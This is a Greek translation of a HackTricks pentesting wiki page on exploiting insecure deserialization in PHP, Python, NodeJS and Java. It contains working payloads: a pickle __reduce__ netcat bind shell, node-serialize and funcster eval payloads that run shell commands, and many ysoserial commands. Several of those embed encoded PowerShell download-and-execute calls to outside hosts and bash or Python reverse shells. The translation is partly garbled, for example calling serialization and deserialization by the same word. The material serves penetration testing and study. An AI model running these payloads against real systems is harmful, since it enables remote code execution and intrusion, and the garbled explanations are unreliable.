Deserialization

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Η αποσειριοποίηση εννοείται ως η μέθοδος μετατροπής ενός αντικειμένου σε ένα μορφή που μπορεί να διατηρηθεί, με σκοπό είτε την αποθήκευση του αντικειμένου είτε τη μετάδοσή του ως μέρος ενός διαδικασίας επικοινωνίας. Αυτή η τεχνική χρησιμοποιείται συνήθως για να διασφαλιστεί ότι το αντικείμενο μπορεί να ανακτηθεί σε μεταγενέστερο χρόνο, διατηρώντας τη δομή και την κατάστασή του.

Η αποσειριοποίηση, αντίθετα, είναι η διαδικασία που αντιδρά στην αποσειριοποίηση. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο.

Η αποσειριοποίηση μπορεί να είναι επικίνδυνη επειδή πιθανώς επιτρέπει στους επιτιθέμενους να παραπλανήσουν τα αποσειριοποιημένα δεδομένα για να εκτελέσουν κακόβουλο κώδικα ή να προκαλέσουν απρόσμενη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου.

PHP

Στην PHP, χρησιμοποιούνται συγκεκριμένες μαγικές μέθοδοι κατά τις διαδικασίες αποσειριοποίησης και αποσειριοποίησης:

  • __sleep: Καλείται όταν ένα αντικείμενο αποσειριοποιείται. Αυτή η μέθοδος πρέπει να επιστρέφει έναν πίνακα με τα ονόματα όλων των ιδιοτήτων του αντικειμένου που πρέπει να αποσειριοποιηθούν. Χρησιμοποιείται συνήθως για να δεσμεύσει εκκρεμή δεδομένα ή να εκτελέσει παρόμοιες εργασίες καθαρισμού.

  • __wakeup: Καλείται όταν ένα αντικείμενο αποσειριοποιείται. Χρησιμοποιείται για την επαναφορά οποιασδήποτε σύνδεσης με βάση δεδομένων που μπορεί να έχει χαθεί κατά τη διάρκεια της αποσειριοποίησης και για την εκτέλεση άλλων εργασιών επανεκκίνησης.

  • __unserialize: Αυτή η μέθοδος καλείται αντί για την __wakeup (εάν υπάρχει) όταν ένα αντικείμενο αποσειριοποιείται. Παρέχει μεγαλύτερο έλεγχο στη διαδικασία αποσειριοποίησης σε σύγκριση με την __wakeup.

  • __destruct: Αυτή η μέθοδος καλείται όταν ένα αντικείμενο είναι έτοιμο να καταστραφεί ή όταν τελειώνει το σενάριο. Χρησιμοποιείται συνήθως για εργασίες καθαρισμού, όπως το κλείσιμο χειριστηρίων αρχείων ή συνδέσεων με βάση δεδομένων.

  • __toString: Αυτή η μέθοδος επιτρέπει σε ένα αντικείμενο να χρησιμοποιηθεί ως συμβολοσειρά. Μπορεί να χρησιμοποιηθεί για την ανάγνωση ενός αρχείου ή άλλων εργασιών βασισμένων στις κλήσεις συναρτήσεων μέσα σε αυτήν, παρέχοντας αποτύπωση του αντικειμένου σε κείμενο.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Εάν κοιτάξετε τα αποτελέσματα, μπορείτε να δείτε ότι οι συναρτήσεις __wakeup και __destruct καλούνται όταν γίνεται αποσειριοποίηση του αντικειμένου. Σημειώστε ότι σε αρκετά εκπαιδευτικά υλικά θα βρείτε ότι η συνάρτηση __toString καλείται όταν προσπαθείτε να εκτυπώσετε κάποιο χαρακτηριστικό, αλλά φαίνεται ότι αυτό δεν συμβαίνει πλέον.

Η μέθοδος __unserialize(array $data) καλείται αντί της __wakeup() εάν έχει υλοποιηθεί στην κλάση. Σας επιτρέπει να αποσειριοποιήσετε το αντικείμενο παρέχοντας τα αποσειριοποιημένα δεδομένα ως έναν πίνακα. Μπορείτε να χρησιμοποιήσετε αυτήν τη μέθοδο για να αποσειριοποιήσετε ιδιότητες και να εκτελέσετε οποιαδήποτε απαραίτητη εργασία κατά την αποσειριοποίηση.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Μπορείτε να διαβάσετε ένα εξηγημένο παράδειγμα PHP εδώ: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, εδώ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ή εδώ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Φόρτωση Κλάσεων Autoload

Μπορείτε να καταχραστείτε τη λειτουργικότητα της αυτόματης φόρτωσης του PHP για να φορτώσετε αυθαίρετα αρχεία php και περισσότερα:

pagePHP - Deserialization + Autoload Classes

Σειριοποίηση Αναφερόμενων Τιμών

Εάν για κάποιο λόγο θέλετε να σειριοποιήσετε μια τιμή ως αναφορά σε μια άλλη σειριοποιημένη τιμή, μπορείτε:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial για PHP)

Το PHPGGC μπορεί να σας βοηθήσει να δημιουργήσετε φορτία για την κατάχρηση των αποσυσκευασιών PHP. Σημειώστε ότι σε πολλές περιπτώσεις δεν θα μπορείτε να βρείτε έναν τρόπο για να καταχραστείτε μια αποσυσκευασία στον πηγαίο κώδικα της εφαρμογής, αλλά μπορείτε να καταχραστείτε τον κώδικα εξωτερικών επεκτάσεων PHP. Έτσι, αν μπορείτε, ελέγξτε το phpinfo() του διακομιστή και ψάξτε στο διαδίκτυο (ακόμα και στα gadgets του PHPGGC) για κάποιο πιθανό gadget που μπορείτε να καταχραστείτε.

phar:// αποσυσκευασία μεταδεδομένων

Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον κώδικα PHP μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize(). Μπορείτε να προσπαθήσετε να καταχραστείτε μια αποσυσκευασία που συμβαίνει κατά την ανάγνωση ενός αρχείου χρησιμοποιώντας το πρωτόκολλο phar. Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση:

pagephar:// deserialization

Python

Pickle

Όταν το αντικείμενο αποσυσκευαστεί, η συνάρτηση __reduce__ θα εκτελεστεί. Όταν εκμεταλλευτείτε αυτό, ο διακομιστής μπορεί να επιστρέψει ένα σφάλμα.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Για περισσότερες πληροφορίες σχετικά με τη διαφυγή από τα pickle jails, ελέγξτε:

pageBypass Python sandboxes

Yaml & jsonpickle

Η παρακάτω σελίδα παρουσιάζει την τεχνική για την κατάχρηση μιας μη ασφαλούς απεικονισμού σε βιβλιοθήκες yaml της Python και ολοκληρώνεται με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για τη δημιουργία πληροφοριών απεικονισμού RCE για Pickle, PyYAML, jsonpickle και ruamel.yaml:

pagePython Yaml Deserialization

Ρύπανση Κλάσης (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Μαγικές Συναρτήσεις

Η JS δεν έχει "μαγικές" συναρτήσεις όπως η PHP ή η Python που θα εκτελούνται μόνο για τη δημιουργία ενός αντικειμένου. Ωστόσο, έχει ορισμένες συναρτήσεις που χρησιμοποιούνται συχνά ακόμα και χωρίς να καλούνται απευθείας, όπως οι toString, valueOf, toJSON. Αν καταχραστείτε έναν απεικονισμό, μπορείτε να θέσετε σε κίνδυνο αυτές τις συναρτήσεις για να εκτελέσετε άλλον κώδικα (πιθανώς καταχρώντας ρυπάνσεις πρωτοτύπων) και να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται.

Ένας "μαγικός" τρόπος για να καλέσετε μια συνάρτηση χωρίς να την καλέσετε απευθείας είναι να θέσετε σε κίνδυνο ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση (υπόσχεση). Επειδή, αν μετατρέψετε αυτό το αντικείμενο επιστροφής σε μια άλλη υπόσχεση με μια ιδιότητα που ονομάζεται "then" τύπου συνάρτησης, θα εκτελεστεί απλώς επειδή επιστρέφεται από μια άλλη υπόσχεση. Ακολουθήστε αυτόν τον σύνδεσμο για περισσότερες πληροφορίες.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ και prototype ρύπανση

Εάν θέλετε να μάθετε για αυτήν την τεχνική ρίξτε μια ματιά στο παρακάτω εκπαιδευτικό υλικό:

pageNodeJS - __proto__ & prototype Pollution

Αυτή η βιβλιοθήκη επιτρέπει την σειριοποίηση συναρτήσεων. Παράδειγμα:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Το σειριοποιημένο αντικείμενο θα φαίνεται ως εξής:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Μπορείτε να δείτε στο παράδειγμα ότι όταν μια συνάρτηση γίνεται σειριοποίηση, προστίθεται η σημαία _$$ND_FUNC$$_ στο αντικείμενο που έχει σειριοποιηθεί.

Μέσα στο αρχείο node-serialize/lib/serialize.js μπορείτε να βρείτε την ίδια σημαία και πώς ο κώδικας τη χρησιμοποιεί.

Όπως μπορείτε να δείτε στο τελευταίο τμήμα του κώδικα, αν βρεθεί η σημαία χρησιμοποιείται το eval για να αποσειριοποιηθεί η συνάρτηση, οπότε ουσιαστικά η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση eval.

Ωστόσο, απλά να γίνεται σειριοποίηση μιας συνάρτησης δεν θα την εκτελέσει καθώς θα ήταν απαραίτητο να υπάρχει κάποιο μέρος του κώδικα που να καλεί την y.rce στο παράδειγμά μας και αυτό είναι πολύ απίθανο. Παρόλα αυτά, μπορείτε απλά να τροποποιήσετε το αντικείμενο που έχει σειριοποιηθεί προσθέτοντας μερικές παρενθέσεις για να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν αποσειριοποιείται το αντικείμενο. Στον επόμενο τμήμα κώδικα παρατηρήστε την τελευταία παρένθεση και πώς η συνάρτηση unserialize θα εκτελέσει αυτόματα τον κώδικα:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Όπως αναφέρθηκε προηγουμένως, αυτή η βιβλιοθήκη θα πάρει τον κώδικα μετά το _$$ND_FUNC$$_ και θα τον εκτελέσει χρησιμοποιώντας το eval. Επομένως, για να αυτοεκτελέσετε κώδικα, μπορείτε να διαγράψετε το μέρος δημιουργίας της συνάρτησης και την τελευταία παρένθεση και απλά να εκτελέσετε έναν JS oneliner όπως στο παρακάτω παράδειγμα:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Μπορείτε να βρείτε εδώ περαιτέρω πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια.

Ένα σημαντικό χαρακτηριστικό του funcster είναι η αδυναμία πρόσβασης σε τυπικά ενσωματωμένα αντικείμενα· βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός εμποδίζει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως "ReferenceError: console is not defined" όταν χρησιμοποιούνται εντολές όπως console.log() ή require(something).

Παρά τον περιορισμό αυτό, είναι δυνατή η αποκατάσταση πλήρους πρόσβασης στον παγκόσμιο περιβάλλοντα πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, μέσω μιας συγκεκριμένης προσέγγισης. Χρησιμοποιώντας απευθείας το παγκόσμιο περιβάλλον, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα κώδικα:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/).

Το πακέτο serialize-javascript σχεδιάστηκε αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου για την αποσειριοποίηση. Στο επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων προτείνεται η άμεση χρήση της eval:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Εάν αυτή η συνάρτηση χρησιμοποιείται για την αποσυσκευασία αντικειμένων, μπορείτε εύκολα να την εκμεταλλευτείτε:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Για περισσότερες πληροφορίες διαβάστε αυτή την πηγή.

Βιβλιοθήκη Cryo

Στις παρακάτω σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να καταχραστείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές:

Java - HTTP

Στην Java, οι κλήσεις επιστροφής αποσειριοποίησης εκτελούνται κατά τη διάρκεια της διαδικασίας της αποσειριοποίησης. Αυτή η εκτέλεση μπορεί να εκμεταλλευτείται από επιτιθέμενους που δημιουργούν κακόβουλα φορτία που ενεργοποιούν αυτές τις κλήσεις επιστροφής, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών.

Δακτυλικά αποτυπώματα

White Box

Για να εντοπίσετε πιθανές ευπάθειες αποσειριοποίησης στον κώδικα, αναζητήστε:

  • Κλάσεις που υλοποιούν τη διεπαφή Serializable.

  • Χρήση των συναρτήσεων java.io.ObjectInputStream, readObject, readUnshare.

Δώστε ιδιαίτερη προσοχή στα εξής:

  • Χρήση του XMLDecoder με παραμέτρους που καθορίζονται από εξωτερικούς χρήστες.

  • Η μέθοδος fromXML του XStream, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση του 1.46, καθώς είναι ευάλωτη σε θέματα αποσειριοποίησης.

  • Η ObjectInputStream σε συνδυασμό με τη μέθοδο readObject.

  • Υλοποίηση μεθόδων όπως οι readObject, readObjectNodData, readResolve ή readExternal.

  • Η ObjectInputStream.readUnshared.

  • Γενική χρήση του Serializable.

Black Box

Για τον έλεγχο με μαύρο κουτί, αναζητήστε συγκεκριμένες υπογραφές ή "Magic Bytes" που υποδηλώνουν αντικείμενα αποσειριοποίησης της Java (προερχόμενα από το ObjectInputStream):

  • Δεκαεξαδικό πρότυπο: AC ED 00 05.

  • Πρότυπο Base64: rO0.

  • Κεφαλίδες απόκρισης HTTP με το Content-type που έχει οριστεί σε application/x-java-serialized-object.

  • Δεκαεξαδικό πρότυπο που υποδηλώνει προηγούμενη συμπίεση: 1F 8B 08 00.

  • Πρότυπο Base64 που υποδηλώνει προηγούμενη συμπίεση: H4sIA.

  • Αρχεία ιστού με την επέκταση .faces και την παράμετρο faces.ViewState. Η ανακάλυψη αυτών των προτύπων σε μια εφαρμογή ιστού θα πρέπει να προκαλέσει μια εξέταση όπως αναφέρεται λεπτομερώς στην ανάρτηση για την αποσειριοποίηση του Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Έλεγχος εάν υπάρχει ευπάθεια

Εάν θέλετε να μάθετε πώς λειτουργεί μια εκμετάλλευση αποσυνεριακοποίησης σε Java, πρέπει να ρίξετε μια ματιά στα Βασικά για την αποσυνεριακοποίηση σε Java, Αποσυνεριακοποίηση DNS σε Java και Πληροφορίες για το Payload CommonsCollection1.

Έλεγχος με λευκή κουτί

Μπορείτε να ελέγξετε εάν έχει εγκατασταθεί κάποια εφαρμογή με γνωστές ευπάθειες.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Μπορείτε να προσπαθήσετε να ελέγξετε όλες τις βιβλιοθήκες που είναι γνωστό ότι είναι ευάλωτες και για τις οποίες το Ysoserial μπορεί να παρέχει εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο Java-Deserialization-Cheat-Sheet. Μπορείτε επίσης να χρησιμοποιήσετε το gadgetinspector για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν. Όταν εκτελείτε το gadgetinspector (μετά την κατασκευή του), μην ανησυχείτε για τις πολλές προειδοποιήσεις/σφάλματα που εμφανίζονται και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα στο gadgetinspector/gadget-results/gadget-chains-έτος-μήνας-ημέρα-ώρα-λεπτό.txt. Παρακαλώ, σημειώστε ότι το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να εμφανίσει ψευδείς θετικά.

Δοκιμή Black Box

Χρησιμοποιώντας την επέκταση Burp gadgetprobe μπορείτε να αναγνωρίσετε ποιες βιβλιοθήκες είναι διαθέσιμες (και ακόμα και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι πιο εύκολο να επιλέξετε ένα payload για να εκμεταλλευτείτε την ευπάθεια. Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe. Το GadgetProbe επικεντρώνεται στις αποσειριοποιήσεις ObjectInputStream.

Χρησιμοποιώντας την επέκταση Burp Java Deserialization Scanner μπορείτε να αναγνωρίσετε ευάλωτες βιβλιοθήκες που μπορούν να εκμεταλλευτούνται με το ysoserial και να τις εκμεταλλευτείτε. Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner. Το Java Deserialization Scanner επικεντρώνεται στις αποσειριοποιήσεις ObjectInputStream.

Μπορείτε επίσης να χρησιμοποιήσετε το Freddy για να ανιχνεύσετε ευπάθειες αποσειριοποιήσεων στο Burp. Αυτό το πρόσθετο θα ανιχνεύσει ευπάθειες που σχετίζονται όχι μόνο με το ObjectInputStream αλλά και με βιβλιοθήκες αποσειριοποίησης Json και Yml. Σε ενεργό κατάσταση, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS. Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.

Δοκιμή Σειριοποίησης

Δεν είναι όλα για να ελέγξετε αν ο διακομιστής χρησιμοποιεί ευάλωτη βιβλιοθήκη. Μερικές φορές μπορείτε να είστε σε θέση να αλλάξετε τα δεδομένα μέσα στο αντικείμενο που έχει σειριοποιηθεί και να παρακάμψετε ορισμένους ελέγχους (ίσως να σας παραχωρήσει δικαιώματα διαχειριστή σε μια web εφαρμογή). Αν βρείτε ένα αντικείμενο που έχει σειριοποιηθεί σε μια web εφαρμογή Java, μπορείτε να χρησιμοποιήσετε το SerializationDumper για να εκτυπώσετε σε ένα πιο αναγνώσιμο ανθρώπινο μορφή το αντικείμενο που έχει σειριοποιηθεί. Γνωρίζοντας ποια δεδομένα στέλνετε, θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε ορισμένους ελέγχους.

Εκμετάλλευση

ysoserial

Το κύριο εργαλείο για την εκμετάλλευση των αποσειριοποιήσεων Java είναι το ysoserial (κατεβάστε εδώ). Μπορείτε επίσης να εξετάσετε τη χρήση του ysoseral-modified το οποίο θα σας επιτρέψει να χρησιμοποιήσετε πολύπλοκες εντολές (με σωληνώσεις για παράδειγμα). Σημειώστε ότι αυτό το εργαλείο επικεντρώνεται στην εκμετάλλευση του ObjectInputStream. Θα ξεκινούσα χρησιμοποιώντας το payload "URLDNS" πριν από ένα payload RCE για να ελέγξετε αν είναι δυνατή η ενέργεια εισαγωγής. Παρόλα αυτά, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί, αλλά άλλο payload RCE να λειτουργεί.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Όταν δημιουργείτε ένα payload για την java.lang.Runtime.exec(), δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμα και να περάσετε ορίσματα σε μια εντολή χωρισμένα με κενά (μπορείτε να κάνετε echo -n "hello world" αλλά δεν μπορείτε να κάνετε python2 -c 'print "Hello world"'). Για να κωδικοποιήσετε σωστά το payload, μπορείτε να χρησιμοποιήσετε αυτήν την ιστοσελίδα.

Μπορείτε να χρησιμοποιήσετε το παρακάτω script για να δημιουργήσετε όλα τα δυνατά payloads για εκτέλεση κώδικα για τα Windows και το Linux και στη συνέχεια να τα δοκιμάσετε στην ευπάθεια ιστοσελίδα:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Μπορείτε να χρησιμοποιήσετε https://github.com/pwntester/SerialKillerBypassGadgetCollection μαζί με το ysoserial για να δημιουργήσετε περισσότερες εκμεταλλεύσεις. Περισσότερες πληροφορίες για αυτό το εργαλείο μπορείτε να βρείτε στις διαφάνειες της ομιλίας όπου παρουσιάστηκε το εργαλείο: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

Το marshalsec μπορεί να χρησιμοποιηθεί για τη δημιουργία φορτίων για την εκμετάλλευση διάφορων βιβλιοθηκών σειριοποίησης Json και Yml στην Java. Για να μεταγλωττίσετε το έργο, χρειάστηκε να προσθέσω αυτές τις εξαρτήσεις στο pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Εγκαταστήστε το maven και μεταγλωττίστε το έργο:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Διαβάστε περισσότερα για αυτήν τη βιβλιοθήκη Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Εργαστήρια

Γιατί

